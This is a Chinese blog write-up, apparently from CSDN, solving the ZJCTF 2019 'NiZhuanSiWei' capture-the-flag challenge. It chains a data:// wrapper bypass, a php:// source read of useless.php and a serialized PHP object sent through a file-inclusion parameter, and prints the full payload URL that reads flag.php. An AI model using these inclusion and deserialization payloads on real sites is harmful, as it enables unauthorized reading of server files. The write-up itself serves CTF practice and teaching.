[ZJCTF 2019]NiZhuanSiWei

文章讲述了如何通过data伪协议绕过字符检测,以及使用PHP伪协议读取useless.php文件源码,揭示了文件包含漏洞导致的反序列化攻击。作者构造了一个特定的payload来触发反序列化,目标是获取flag.php的内容。
摘要由CSDN通过智能技术生成

直接进行代码审计。

data伪协议绕过

伪协议可以看看大佬文章

使用data伪协议绕过检测字符。

data://text/plain,welcome to the zjctf

php伪协议读取文件源码 

不能直接读取flag.php,猜测注释的useless.php就是线索,于是使用php伪协议读取useless.php的源码。

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

于是返回主页,因为文件包含,两个文件可形成反序列化攻击链。

题目变成了反序列化。

注入点在password参数。开始构造序列化对象。

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 

记得修改文件包含的参数,拿到flag

payload:http://e3beec97-11d2-43f9-a12f-e59c78d9aad5.node4.buuoj.cn:81/?file=useless.php&text=data://text/plain,welcome to the zjctf&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值